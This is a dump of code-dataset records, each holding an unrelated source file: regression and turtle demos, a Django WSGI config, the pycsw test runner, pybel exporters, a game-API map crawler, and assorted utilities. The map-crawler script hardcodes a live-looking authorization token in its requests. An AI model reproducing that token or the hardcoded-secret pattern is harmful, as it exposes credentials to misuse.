#傾きの方向に進んでいく\n #傾きの下り方向に進めていくことで最小の値を求めていく\n w0 = w0 -alpha*(dw0)\n w1 = w1 -alpha*(dw1)\n print(dw1)\n\n#誤差関数をグラフにプロットするための式\n#x軸の(最小、最大、その間に何個の点を取るか)\n'''\nx=np.linspace(0,1,100)\n#式\ny= w0 + w1*x\n\nplt.plot(x,y)\n\nfor u in range(data_number):\n #scatter:散布図\n plt.scatter(input_data_normalized[u,0],input_data_normalized[u,1])\n'''\n\n#正規化したやつをもとに戻す作業\n#データを弄るのではなくグラフを操作する\n#今回はx方向に10、y方向に14で割って、(20,30)で平行移動していた\nx1=np.linspace(15,30,100)\n\ny1=(w0+w1*(x1-20)/10)*14+30\n\nplt.plot(x1,y1)\n\nfor u in range(data_number):\n #scatter:散布図\n plt.scatter(input_data[u,0],input_data[u,1])\n","sub_path":"SimpleRegression.py","file_name":"SimpleRegression.py","file_ext":"py","file_size_in_byte":2774,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"244496514","text":"#\"Recursive Star\"\nimport turtle\ndef star(turtle, n,r):\n \"\"\" draw a star of n rays of length d\"\"\"\n for k in range(0,n):\n turtle.pendown()\n turtle.forward(r)\n turtle.penup()\n turtle.backward(r)\n turtle.left(360/n)\n \ndef recursive_star(turtle, n, r, depth, f):\n \"\"\"At each point of the star, draw another smaller star,\n and so on, up to given depth. Rescale the stars by a factor f\n at each generation.\"\"\"\n \n if depth == 0:\n star(turtle, n, f*4)\n else:\n for k in range(0,n):\n turtle.pendown()\n turtle.forward(r)\n recursive_star(turtle, n, f*r, depth - 1,f)\n turtle.penup()\n turtle.backward(r)\n turtle.left(360/n)\n \nfred = turtle.Turtle()\nfred.speed(\"fastest\")\nrecursive_star(fred, 5 , 150, 4, 0.4)\n \nimport turtle\nimport random\nfred = turtle.Turtle()\n \nfred.speed(10)\n \ncolors=['lavender', 'pink', 'blue', 'midnight blue', 'lime']\n \ndef flower(x,y,r,g,b):\n fred.setposition(x,y)\n fred.pendown()\n fred.color('green')\n fred.setheading(270)\n fred.fd(200)\n \n fred.setposition(x,y)\n \n fred.color(random.choice(colors))\n for i in range(12):\n fred.circle(20)\n fred.left(30)\n \n \nfor i in range(100):\n fred.penup()\n flower(random.randint(-200,200), random.randint(-200,0),random.randint(0,255),\n random.randint(0,255),random.randint(0,255))\n","sub_path":"turtle_examples/recursive_star.py","file_name":"recursive_star.py","file_ext":"py","file_size_in_byte":1339,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"610989958","text":"import os\nimport sys\n\nAPP_NAME = 'Clothesliner'\n \n\npath = '/home/al/%s/src/' % APP_NAME\nif path not in sys.path:\n sys.path.insert(0,'/home/al/%s/src/%s/' % (APP_NAME, APP_NAME))\n sys.path.insert(0,path)\n \n \nos.environ['DJANGO_SETTINGS_MODULE'] = '%s.settings' % APP_NAME\n \nimport django.core.handlers.wsgi\napplication = django.core.handlers.wsgi.WSGIHandler()","sub_path":"src/apache/django.wsgi","file_name":"django.wsgi","file_ext":"wsgi","file_size_in_byte":368,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"387109824","text":"#!/usr/bin/python\n# =================================================================\n#\n# Authors: Tom Kralidis \n#\n# Copyright (c) 2015 Tom Kralidis\n#\n# Permission is hereby granted, free of charge, to any person\n# obtaining a copy of this software and associated documentation\n# files (the \"Software\"), to deal in the Software without\n# restriction, including without limitation the rights to use,\n# copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the\n# Software is furnished to do so, subject to the following\n# conditions:\n#\n# The above copyright notice and this permission notice shall be\n# included in all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\n# OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT\n# HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,\n# WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\n# OTHER DEALINGS IN THE SOFTWARE.\n#\n# =================================================================\n\n# simple testing framework inspired by MapServer msautotest\n\nimport csv\nimport sys\nimport os\nimport getopt\nimport glob\nimport filecmp\nimport re\nfrom pycsw.core.util import http_request\n\n\ndef plural(num):\n \"\"\"Determine plurality given an integer\"\"\"\n if num != 1:\n return 's'\n else:\n return ''\n\n\ndef get_validity(sexpected, sresult, soutfile, force_id_mask=False):\n \"\"\"Decipher whether the output passes, fails, or initializes\"\"\"\n if not os.path.exists(sexpected): # create expected file\n with open(sexpected, 'w') as f:\n f.write(normalize(sresult, force_id_mask))\n sstatus = 0\n else: # compare result with expected\n if not os.path.exists('results'):\n os.mkdir('results')\n with open('results%s%s' % (os.sep, soutfile), 'wb') as f:\n f.write(normalize(sresult, force_id_mask))\n if filecmp.cmp(sexpected, 'results%s%s' % (os.sep, soutfile)): # pass\n os.remove('results%s%s' % (os.sep, soutfile))\n sstatus = 1\n else: # fail\n import difflib\n with open(sexpected) as a:\n with open('results%s%s' % (os.sep, soutfile)) as b:\n diff = difflib.unified_diff(a.readlines(), b.readlines())\n print('\\n'.join(list(diff)))\n sstatus = -1\n return sstatus\n\n\ndef normalize(sresult, force_id_mask=False):\n \"\"\"Replace time, updateSequence and version specific values with generic\n values\"\"\"\n\n # XML responses\n version = re.search('', sresult)\n updatesequence = re.search('updateSequence=\"(\\S+)\"', sresult)\n timestamp = re.search('timestamp=\"(.*)\"', sresult)\n timestamp2 = re.search('timeStamp=\"(.*)\"', sresult)\n timestamp3 = re.search('(.*)', sresult)\n timestamp4 = re.search('(.*)', sresult)\n zrhost = re.search('(.*)', sresult)\n zrport = re.search('(.*)', sresult)\n elapsed_time = re.search('elapsedTime=\"(.*)\"', sresult)\n expires = re.search('expires=\"(.*?)\"', sresult)\n atom_updated = re.findall('(.*)', sresult)\n\n if version:\n sresult = sresult.replace(version.group(0), '')\n if updatesequence:\n sresult = sresult.replace(updatesequence.group(0),\n 'updateSequence=\"PYCSW_UPDATESEQUENCE\"')\n if timestamp:\n sresult = sresult.replace(timestamp.group(0),\n 'timestamp=\"PYCSW_TIMESTAMP\"')\n if timestamp2:\n sresult = sresult.replace(timestamp2.group(0),\n 'timeStamp=\"PYCSW_TIMESTAMP\"')\n if timestamp3:\n sresult = sresult.replace(timestamp3.group(0),\n 'PYCSW_TIMESTAMP')\n if timestamp4:\n sresult = sresult.replace(timestamp4.group(0),\n 'PYCSW_TIMESTAMP')\n if zrport:\n sresult = sresult.replace(zrport.group(0),\n 'PYCSW_PORT')\n if zrhost:\n sresult = sresult.replace(zrhost.group(0),\n 'PYCSW_HOST')\n if elapsed_time:\n sresult = sresult.replace(elapsed_time.group(0),\n 'elapsedTime=\"PYCSW_ELAPSED_TIME\"')\n if expires:\n sresult = sresult.replace(expires.group(0),\n 'expires=\"PYCSW_EXPIRES\"')\n for au in atom_updated:\n sresult = sresult.replace(au, 'PYCSW_TIMESTAMP')\n\n # for csw:HarvestResponse documents, mask identifiers\n # which are dynamically generated for OWS endpoints\n if sresult.find('HarvestResponse') != -1:\n identifier = re.findall('(\\S+)',\n sresult)\n for i in identifier:\n sresult = sresult.replace(i, 'PYCSW_IDENTIFIER')\n\n # JSON responses\n timestamp = re.search('\"timestamp\": \"(.*?)\"', sresult)\n\n if timestamp:\n sresult = sresult.replace(timestamp.group(0),\n '\"timestamp\": \"PYCSW_TIMESTAMP\"')\n\n # harvesting-based GetRecords/GetRecordById responses\n if force_id_mask:\n dcid = re.findall('(urn:uuid.*)', sresult)\n isoid = re.findall('id=\"(urn:uuid.*)\"', sresult)\n isoid2 = re.findall('(urn:uuid.*) [-l logfile] [-s suite1[,suite2]]\n\n Available options:\n\n -u URL to test\n\n -l log results to file\n\n -s testsuites to run (comma-seperated list)\n\n -d database (SQLite3 [default], PostgreSQL, MySQL)\n\n -r run tests which harvest remote resources (default off)\n\nEXAMPLES\n\n 1.) default test example\n\n run_tests.py -u http://localhost:8000/\n\n 2.) log results to logfile\n\n run_tests.py -u http://localhost:8000/ -l /path/to/results.log\n\n 3.) run only specified testsuites\n\n run_tests.py -u http://localhost:8000/ -s default,apiso\n\n 3.) run tests including remote harvest tests\n\n run_tests.py -u http://localhost:8000/ -s default,apiso -r\n\n\n'''\n\n# main\n\nif len(sys.argv) < 2:\n print(usage())\n sys.exit(1)\n\nURL = sys.argv[1]\n\nURL = None\nLOGFILE = None\nTESTSUITES = []\n\nPASSED = 0\nFAILED = 0\nWARNING = 0\nINITED = 0\n\nLOGWRITER = None\nDATABASE = 'SQLite3'\nREMOTE = False\n\ntry:\n OPTS, ARGS = getopt.getopt(sys.argv[1:], 'u:l:s:d:rh')\nexcept getopt.GetoptError as err:\n print('\\nERROR: %s' % err)\n print(usage())\n sys.exit(2)\n\nfor o, a in OPTS:\n if o == '-u':\n URL = a\n if o == '-l':\n LOGFILE = a\n if o == '-d':\n DATABASE = a\n if o == '-r':\n REMOTE = True\n if o == '-s':\n TESTSUITES = a.split(',')\n if o == '-h': # dump help and exit\n print(usage())\n sys.exit(3)\n\nprint('\\nRunning tests against %s' % URL)\n\nif LOGFILE is not None: # write detailed output to CSV\n LOGWRITER = csv.writer(open(LOGFILE, 'wb'))\n LOGWRITER.writerow(['url', 'configuration', 'testname', 'result'])\n\nif TESTSUITES:\n if 'harvesting' in TESTSUITES:\n REMOTE = True\n TESTSUITES_LIST = ['suites%s%s' % (os.sep, x) for x in TESTSUITES]\nelse:\n TESTSUITES_LIST = glob.glob('suites%s*' % os.sep)\n\nfor testsuite in TESTSUITES_LIST:\n if not os.path.exists(testsuite):\n raise RuntimeError('Testsuite %s not found' % testsuite)\n\n if testsuite == 'suites%sharvesting' % os.sep and not REMOTE:\n continue\n\n force_id_mask = False\n if testsuite in ['suites%smanager' % os.sep, 'suites%sharvesting' % os.sep]:\n force_id_mask = True\n \n # get configuration\n for cfg in glob.glob('%s%s*.cfg' % (testsuite, os.sep)):\n print('\\nTesting configuration %s' % cfg)\n\n for root, dirs, files in os.walk(testsuite):\n if files:\n for sfile in sorted(files):\n if os.path.splitext(sfile)[1] not in ['.xml', '.txt']:\n break\n\n if sfile == 'requests.txt': # GET requests\n filename = '%s%s%s' % (root, os.sep, sfile)\n with open(filename) as f:\n gets = csv.reader(f)\n for row in gets:\n testfile = '%s%s%s' % (root, os.sep, sfile)\n request = ','.join(row[1:]).replace('PYCSW_SERVER',\n URL)\n outfile = '%s%s' % (root.replace(os.sep, '_'),\n '_%s.xml' % row[0])\n expected = 'expected%s%s' % (os.sep, outfile)\n print('\\n test %s:%s' % (testfile, row[0]))\n\n try:\n result = http_request('GET', request)\n except Exception as err:\n result = err.read()\n\n status = get_validity(expected, result, outfile,\n force_id_mask)\n\n if status == 1:\n print(' passed')\n PASSED += 1\n elif status == 0:\n print(' initialized')\n INITED += 1\n elif status == -1 and DATABASE == 'PostgreSQL':\n print(' warning: possible collation issue')\n WARNING += 1\n else:\n print(' FAILED')\n FAILED += 1\n\n if LOGWRITER is not None:\n LOGWRITER.writerow([URL, cfg,\n testfile, status])\n\n else: # POST requests\n testfile = '%s%s%s' % (root, os.sep, sfile)\n if '%sdata' % os.sep in testfile: # sample data\n break\n outfile = '%s%s' % (os.sep,\n testfile.replace(os.sep, '_'))\n expected = 'expected%s%s' % (os.sep, outfile)\n print('\\n test %s' % testfile)\n\n # read test\n with open(testfile) as f:\n request = f.read()\n\n configkvp = 'config=tests%s%s' % (os.sep, cfg)\n url2 = '%s?%s' % (URL, configkvp)\n\n # invoke request\n try:\n result = http_request('POST', url2, request)\n except Exception as err:\n result = err.read()\n\n status = get_validity(expected, result, outfile,\n force_id_mask)\n\n if status == 1:\n print(' passed')\n PASSED += 1\n elif status == 0:\n print(' initialized')\n INITED += 1\n elif status == -1 and DATABASE == 'PostgreSQL':\n print(' warning: possible sorting collation issue')\n WARNING += 1\n else:\n print(' FAILED')\n FAILED += 1\n\n if LOGWRITER is not None:\n LOGWRITER.writerow([URL, cfg, testfile, status])\n\nif LOGWRITER is not None:\n LOGWRITER.close()\n\nprint('\\nResults (%d/%d - %.2f%%)' % \\\n (PASSED, PASSED + FAILED, float(PASSED) / float(PASSED + FAILED) * 100))\nprint(' %d test%s passed' % (PASSED, plural(PASSED)))\nprint(' %d test%s warnings' % (WARNING, plural(WARNING)))\nprint(' %d test%s failed' % (FAILED, plural(FAILED)))\nprint(' %d test%s initialized' % (INITED, plural(INITED)))\n\nsys.exit(FAILED)\n","sub_path":"tests/run_tests.py","file_name":"run_tests.py","file_ext":"py","file_size_in_byte":13160,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"75842357","text":"# -*- coding: utf-8 -*-\n\n\"\"\"This module contains IO functions for outputting BEL graphs to lossy formats, such as GraphML and CSV\"\"\"\n\nfrom __future__ import print_function\n\nimport json\nimport logging\n\nimport networkx as nx\n\nfrom ..canonicalize import decanonicalize_edge_node\nfrom ..constants import NAMESPACE, NAME, RELATION, SUBJECT, OBJECT\nfrom ..struct import BELGraph\nfrom ..utils import flatten_dict\n\n__all__ = [\n 'to_graphml',\n 'to_csv',\n 'to_sif',\n 'to_gsea',\n]\n\nlog = logging.getLogger(__name__)\n\n\ndef to_graphml(graph, file):\n \"\"\"Writes this graph to GraphML XML file using :func:`networkx.write_graphml`. The .graphml file extension is\n suggested so Cytoscape can recognize it.\n\n :param BELGraph graph: A BEL graph\n :param file file: A file or file-like object\n \"\"\"\n g = nx.MultiDiGraph()\n\n for node, data in graph.nodes(data=True):\n g.add_node(node, json=json.dumps(data))\n\n for u, v, key, data in graph.edges(data=True, keys=True):\n g.add_edge(u, v, key=key, attr_dict=flatten_dict(data))\n\n nx.write_graphml(g, file)\n\n\ndef to_csv(graph, file):\n \"\"\"Writes the graph as a tab-separated edge list with the columns:\n\n 1. Source BEL term\n 2. Relation\n 3. Target BEL term\n 4. Edge data dictionary.\n\n See the Data Models section of the documentation for which data are stored in the edge data dictionary, such\n as queryable information about transforms on the subject and object and their associated metadata.\n\n :param BELGraph graph: A BEL graph\n :param file file: A writable file or file-like.\n \"\"\"\n for u, v, d in graph.edges_iter(data=True):\n print(\n decanonicalize_edge_node(graph, u, d, SUBJECT),\n d[RELATION],\n decanonicalize_edge_node(graph, v, d, OBJECT),\n json.dumps(d),\n sep='\\t',\n file=file\n )\n\n\ndef to_sif(graph, file):\n \"\"\"Writes the graph as a tab-separated SIF file with the following columns:\n\n 1. Source BEL term\n 2. Relation\n 3. Target BEL term\n\n This format is simple and can be used readily with many applications, but is lossy in that it does not include\n relation metadata.\n\n :param BELGraph graph: A BEL graph\n :param file file: A writable file or file-like.\n \"\"\"\n for u, v, d in graph.edges_iter(data=True):\n print(\n decanonicalize_edge_node(graph, u, d, SUBJECT),\n d[RELATION],\n decanonicalize_edge_node(graph, v, d, OBJECT),\n sep='\\t',\n file=file\n )\n\n\ndef to_gsea(graph, file):\n \"\"\"Writes the genes/gene products to a GRP file for use with GSEA gene set enrichment analysis\n\n :param BELGraph graph: A BEL graph \n :param file file: A writeable file or file-like object\n\n .. seealso::\n\n - GRP `format specification `_\n - GSEA `publication `_\n\n \"\"\"\n print('# {}'.format(graph.name), file=file)\n nodes = {d[NAME] for _, d in graph.nodes_iter(data=True) if NAMESPACE in d and d[NAMESPACE] == 'HGNC'}\n for node in sorted(nodes):\n print(node, file=file)\n","sub_path":"src/pybel/io/extras.py","file_name":"extras.py","file_ext":"py","file_size_in_byte":3256,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"85495409","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# @TIME: 2020/5/13 15:53\n# @Author: K\n# @File: LearnImage.py\n\nfrom tkinter import *\nimport tkinter.messagebox as messagebox\nclass Application(Frame):\n\tdef __init__(self, master=None):\n\t\tFrame.__init__(self, master)\n\t\tself.pack()\n\t\tself.createWidgets()\n\n\tdef createWidgets(self):\n\t\tself.nameInput = Entry(self)\n\t\tself.nameInput.pack()\n\t\tself.alterButton = Button(self, text='Hello', command = self.hello)\n\t\tself.alterButton.pack()\n\tdef hello(self):\n\t\tname = self.nameInput.get() or 'www'\n\t\tmessagebox.showinfo('Message', 'Hello, %s' % name)\n\t\napp = Application()\napp.master.title('Hello')\napp.mainloop()","sub_path":"Imag/LearnImage.py","file_name":"LearnImage.py","file_ext":"py","file_size_in_byte":649,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"471086065","text":"from OWDTestToolkit.global_imports import *\n\t\nclass main(GaiaTestCase):\n\n def checkIsInToField(self, p_target, p_targetIsPresent=True):\n #\n # Verifies if a number (or contact name) is\n # displayed in the \"To: \" field of a compose message.
    \n # (Uses 'caseless' search for this.)\n #\n time.sleep(1)\n x = self.UTILS.getElements(DOM.Messages.target_numbers, \"'To:' field contents\", False)\n \n boolOK = False\n for i in x:\n if i.text.lower() == str(p_target).lower():\n boolOK = True\n break\n \n testMsg = \"is\" if p_targetIsPresent else \"is not\"\n testMsg = \"\\\"\" + str(p_target) + \"\\\" \" + testMsg + \" in the 'To:' field.\"\n self.UTILS.TEST(boolOK == p_targetIsPresent, testMsg)\n return boolOK\n\n","sub_path":"OWDTestToolkit/apps/Messages/checkIsInToField.py","file_name":"checkIsInToField.py","file_ext":"py","file_size_in_byte":833,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"549187395","text":"import json\nimport sys\nimport time\n\nimport requests\n\n# Rooms dictionary\nrooms = {}\n\n# Define main URL\nURL = \"https://lambda-treasure-hunt.herokuapp.com/api/adv/move/\"\n\n# Initial get request to API\n# r = requests.get(url=URL + \"init/\",\n# headers={\"Authorization\": \"Token dac283c27cd80fc77aba445dd4834ab83ee0eff5\"})\n\n# Move\ndef move(move_direction):\n direction = {\"direction\": move_direction}\n move = requests.post(url=\"https://lambda-treasure-hunt.herokuapp.com/api/adv/move/\", json=direction,\n headers={\n \"Authorization\": \"Token dac283c27cd80fc77aba445dd4834ab83ee0eff5\",\n \"Content-Type\": \"application/json\"})\n print(direction)\n print(move)\n\n # Data received\n data = move.json()\n\n # Converts dicitonary to String\n response = json.dumps(data)\n\n # Open map.txt file to append map rooms\n f = open(\"map.txt\", \"a\")\n\n # Appends room details to map.txt\n f.write(response + \",\" \"\\n\")\n f.close()\n\n # Define room_id variable\n room_id = data[\"room_id\"]\n\n # Define room exits variable\n exits = data[\"exits\"]\n\n # Append room_id and exits to rooms dictionary\n room_exits = {}\n for exit in exits:\n room_exits[exit] = \"?\"\n\n # Assign room exits to room id\n rooms[room_id] = room_exits\n\n print(room_id)\n print(exits)\n print(room_exits)\n print(rooms)\n\n return room_id\n\n\ndef get_neighbors(room_id):\n \"\"\"\n Get all neighbors (edges) of a vertex.\n \"\"\"\n return rooms[room_id]\n\n\ndef dft(direction, visited=None):\n \"\"\"\n Print each vertex in depth-first order\n beginning from starting_vertex.\n\n This should be done using recursion.\n \"\"\"\n if visited is None:\n visited = {}\n print(visited)\n\n room_id = move(direction)\n if room_id not in visited: \n visited[room_id] = None\n print(room_id)\n\n # 15 second cooldown\n time.sleep(20)\n\n # Check if the node is visited\n if direction not in visited[room_id]:\n # Mark it as visited\n visited[room_id] = direction\n # Print\n print(\"direction\" + direction)\n\n for neighbor in get_neighbors(room_id):\n dft(neighbor, visited)\n\n\ndft(sys.argv[1])\n","sub_path":"treasure_hunt/python/map.py","file_name":"map.py","file_ext":"py","file_size_in_byte":2248,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"330257660","text":"import sqlite3\nfrom sqlite_connection import conn\nfrom tableOperations import tableOperation\nimport os\nimport sys\n\nsys.path.append(os.path.abspath('../helpers'))\nfrom globalFunctions import randomString\n\n# sql_create_tasks_table = \"\"\"CREATE TABLE IF NOT EXISTS tasks (\n# id integer PRIMARY KEY,\n# name text NOT NULL,\n# priority integer,\n# status_id integer NOT NULL,\n# project_id integer NOT NULL,\n# begin_date text NOT NULL,\n# end_date text NOT NULL,\n# FOREIGN KEY (project_id) REFERENCES projects (id)\n# );\"\"\"\n\nsql_create_dbox_cluster = \"\"\"CREATE TABLE IF NOT EXISTS dbox_cluster (\n alias text PRIMARY KEY NOT NULL,\n timestamp_created text NOT NULL,\n email text NOT NULL,\n password text NOT NULL,\n app_name text NOT NULL,\n accessToken text NOT NULL,\n status text NOT NULL,\n connected text NOT NULL\n );\"\"\"\n\ntbl_op = tableOperation()\n\ntbl_op.delete_table(\"dbox_cluster\")\ntbl_op.create_table(sql_create_dbox_cluster)\ntbl_op.cleanup_table(\"dbox_cluster\")\n\ntbl_op.read_table(\"dbox_cluster\")\ntbl_op.close_connection()","sub_path":"sqlite/createTable.py","file_name":"createTable.py","file_ext":"py","file_size_in_byte":1572,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"110427903","text":"import sys\n#sys.path.append(__file__ + '..')\n\nimport os\nimport re\nimport itertools\nfrom functools import partialmethod\nfrom ir import *\nfrom regex_env import RegexEnv\n\n## Use the visitor pattern, from Let's Build a Simple Interpreter\n## Visits each node of the abstarct syntax tree to build up a\n## candidate match, which is a dictionary mapping variable names to\n## the directories that they match.\n\nclass NodeVisitor(object):\n\n def visit(self, node, currDir, namedVars, varEnv, regexEnv):\n method_name = 'visit_' + type(node).__name__\n visitor = getattr(self, method_name, self.generic_visit)\n return visitor(node, currDir, namedVars, varEnv, regexEnv)\n\n def generic_visit(self, node, currDir, namedVars, varEnv, regexEnv):\n raise Exception('No visit_{} method'.format(type(node).__name__))\n\n\nclass Matcher(NodeVisitor):\n '''\n Each function takes in a regex environment, which contains the expression\n variables that have been matched so far. They then output a new variable\n environment, containing the variables that matched with entire directory\n names, and a regexEnv if there was a match.\n '''\n\n def visit(self, node, currDir, namedVars, varEnv, regexEnv):\n return NodeVisitor.visit(self, node, currDir, namedVars, varEnv, regexEnv)\n\n\n def visit_TreePatternDir(self, node, path, namedVars, varEnv, regexEnv):\n '''\n Matches a TreePatternDir against a path. If the pattern was named,\n returns a new environment mapping the variable name to the path.\n Otherwise, returns and empty environment. Also returns the updated\n RegexEnv so that future patterns can refer back to it.\n '''\n for newPath, newRegexEnv in self.visit(node.dirItem, path, namedVars, varEnv, regexEnv):\n if node.var in namedVars:\n yield {node.var: newPath}, newRegexEnv\n else:\n yield {}, newRegexEnv\n\n def visit_TreePatternChild(self, node, path, namedVars, varEnv, regexEnv):\n '''\n Matches against the parent and the children. Combines the match\n dictionaries, and returns the result\n '''\n\n # calls visit_DirGlob, which in addition returns the path to child\n # found in the match, so that you can search the child directory\n for newPath, regexEnv in self.visit(node.dirItem, path, namedVars, varEnv, regexEnv):\n\n newVarEnv = {}\n if node.var in namedVars:\n newVarEnv = {node.var: newPath}\n\n # receive generators from each of the children\n childrenMatches = self.visit(node.treePattern, newPath, namedVars, varEnv, regexEnv)\n\n for childVarEnv, newRegexEnv in childrenMatches:\n # merge the two varEnvs\n childVarEnv.update(newVarEnv)\n # regexEnv already merged when regex match happened\n yield childVarEnv, newRegexEnv\n\n\n def visit_TreePatternList(self, node, path, namedVars, varEnv, regexEnv):\n '''\n Matches against a list of tree patterns. For each pattern in the list,\n calls visit method to obtain a generator. Then takes the product of all\n those generators to yield a result\n '''\n visit_method = getattr(self, 'visit')\n visitData = [(tree, path, namedVars, varEnv) for tree in node.treePatterns]\n for newVarEnv, newRegexEnv in self.lazyProduct(visitData, regexEnv):\n # if the node is named, add a tuple of the values to the environment\n if node.var:\n raise Exception(\"cannot match with a list of directories\")\n newEntry = {node.var: tuple(varEnv.values())}\n newVarEnv.update(newEntry)\n\n yield newVarEnv, newRegexEnv\n\n\n def lazyProduct(self, visitData, regexEnv):\n '''\n Finds the cartesian product of the results of the different elements in\n the list. This is different from taking the `Product` of generators,\n which calls each function once to build up a list, and then takes the\n product of that list. Instead, lazyProduct will make a function call\n again instead of storing the result in a list, which is needed because\n the regex environment changes\n '''\n if len(visitData) == 0:\n raise Exception(\"Can't have an empty list\")\n\n (firstNode, firstPath, firstNamedVars, firstVarEnv) = visitData[0]\n\n if len(visitData) == 1:\n\n for varEnv, regexEnv in self.visit(firstNode, firstPath, firstNamedVars, firstVarEnv, regexEnv):\n yield varEnv, regexEnv\n\n else:\n\n for varEnv1, regexEnv1 in self.visit(firstNode, firstPath, firstNamedVars, firstVarEnv, regexEnv):\n for varEnv2, regexEnv2 in self.lazyProduct(visitData[1:], regexEnv1):\n varEnv2.update(varEnv1)\n yield varEnv2, regexEnv2\n\n\n def visit_TreePatternDesc(self, node, path, namedVars, varEnv, regexEnv):\n '''\n Visits a treePattern descendant, of the form `**/`.\n '''\n if node.var:\n raise Exception(\"Cannot name TreePatternDesc\")\n for descPath, _, _ in os.walk(path):\n for newVarEnv, newRegexEnv in self.visit(node.treePattern, descPath, namedVars, varEnv, regexEnv):\n yield newVarEnv, newRegexEnv\n\n def visit_TreePatternVar(self, node, path, namedVars, varEnv, regexEnv):\n '''\n Visits a treePattern variable of the form {var}, which looks it up and\n the varEnv and continuous to traverse down that tree\n '''\n var = node.var\n if var not in varEnv:\n raise Exception(\"variable %s has not be declared\" % var)\n else:\n newNode = varEnv[var]\n for newVarEnv, newRegexEnv in self.visit(newNode, path, namedVars, varEnv, regexEnv):\n yield newVarEnv, newRegexEnv\n\n\n def visit_DirGlob(self, node, path, _namedVars, _varEnv, regexEnv):\n '''\n Scans the directory in path, looking for something that matches the node's\n regex pattern. Yields every match of the directory name and the node's\n variable\n '''\n for dirItem in os.scandir(path):\n newRegexEnv = regexEnv.match(node.glob, dirItem.name)\n if newRegexEnv and attributeMatches(node, dirItem): # got a match, return the updated regex env\n\n newPath = os.path.join(path, dirItem.name)\n yield newPath, newRegexEnv\n\ndef attributeMatches(dirGlob, dirEntry):\n \"\"\" checks to see if a dirGlob's optional attribute field matches the type\n of file (e.g. file, dir) \"\"\"\n if dirGlob.attr == 'dir':\n return os.path.isdir(dirEntry.path)\n elif dirGlob.attr == 'file':\n return os.path.isfile(dirEntry.path)\n return True\n\ndef match(tree, path, varsUsed, varEnv=None, regexEnv=None):\n if not varEnv:\n varEnv = {}\n\n if not regexEnv:\n regexEnv = RegexEnv()\n\n matcher = Matcher()\n matches = matcher.visit(tree, path, varsUsed, varEnv, regexEnv)\n\n varEnvs = []\n\n atLeastOneMatch = False\n\n for newVarEnv, newRegexEnv in matches:\n atLeastOneMatch = True\n\n # don't print duplicates\n if newEnv(newVarEnv, varEnvs):\n varEnvs += [newVarEnv]\n yield newVarEnv, newRegexEnv\n\n if not atLeastOneMatch:\n print(\"No matches found\")\n\ndef newEnv(varEnv, varEnvs):\n \"\"\"\n makes sure that you only return distinct results by checking that this\n environment has occurred before\n todo: remove this, I think by searching through the dest trees to check what\n variables will be required, this method is no check is no longer necessary\n \"\"\"\n for otherVarEnv in varEnvs:\n if varEnv == otherVarEnv:\n return False\n return True\n\ndef allMatches(tree, path, namedVars, varEnv=None):\n if not varEnv:\n varEnv = {}\n\n matchList = []\n for varEnv, _ in match(tree, path, namedVars, varEnv):\n baseVarEnv = {v: os.path.basename(p) for v, p in varEnv.items()}\n matchList.append(baseVarEnv)\n\n return matchList\n","sub_path":"src/semantics/matcher.py","file_name":"matcher.py","file_ext":"py","file_size_in_byte":8160,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"420438409","text":"###########################################第4章 入口模块接口协议###################################\r\n\r\n# 4.1.1 终端请求订单新接口\r\nentryAdrequest='/entry/adrequest'\r\n# 4.4.1 终端初始化新接口\r\nentryInitrequest='/entry/initrequest'\r\n\r\n###########################################第5章 排队模块接口协议###################################\r\n\r\n# 5.1.1 订单请求新接口\r\ndispatcherAdrequest='/dispatcher/adrequest'\r\n# 5.9异步接收增量策略结果回调\r\ndispatcherStrategyPush='/dispatcher/strategy/push'\r\n\r\n###########################################第6章匹配模块接口协议###################################\r\n\r\n# 6.1.1 订单请求新接口\r\nmatchingAdrequest='/matching/adrequest'\r\n\r\n\r\n###########################################第7章 屏画像模块接口协议###################################\r\n\r\n# 7.5终端初始化请求 (入口模块转发)\r\nscreenfeatureInitrequest='/screenfeature/initrequest'\r\n# 7.6广告请求新接口 (排队模块发起)\r\nscreenfeatureAdrequest='/screenfeature/adrequest'\r\n# 7.5终端初始化请求 (入口模块转发)\r\nscreenfeatureInitrequest='/screenfeature/initrequest'\r\n# 7.6广告请求新接口 (排队模块发起)\r\nscreenfeatureAdrequest='/screenfeature/adrequest'\r\n# 7.7请求屏的价格 (计费模块发起)\r\nscreenfeaturePrices='/screenfeature/prices'\r\n# 7.8.1 导入屏数据到讯飞的屏表\r\niflyImportscreen='/screenfeature/ifly/importscreen'\r\n# 7.8.2同步讯飞的媒体位/广告位(至讯飞)\r\niflyMedia='/screenfeature/ifly/media'\r\n# 7.8.3同步讯飞的广告位(至讯飞)\r\niflyAdunit='/screenfeature/ifly/adunit'\r\n# 7.8.4 关联讯飞的媒体位与广告位(至讯飞)\r\nscreenfeatureIflyRelationMediaadunit='/screenfeature/ifly/relation/mediaadunit'\r\n# 7.8.3同步讯飞至平台\r\niflyUpdateScreen='/screenfeature/ifly/updateScreen'\r\n# 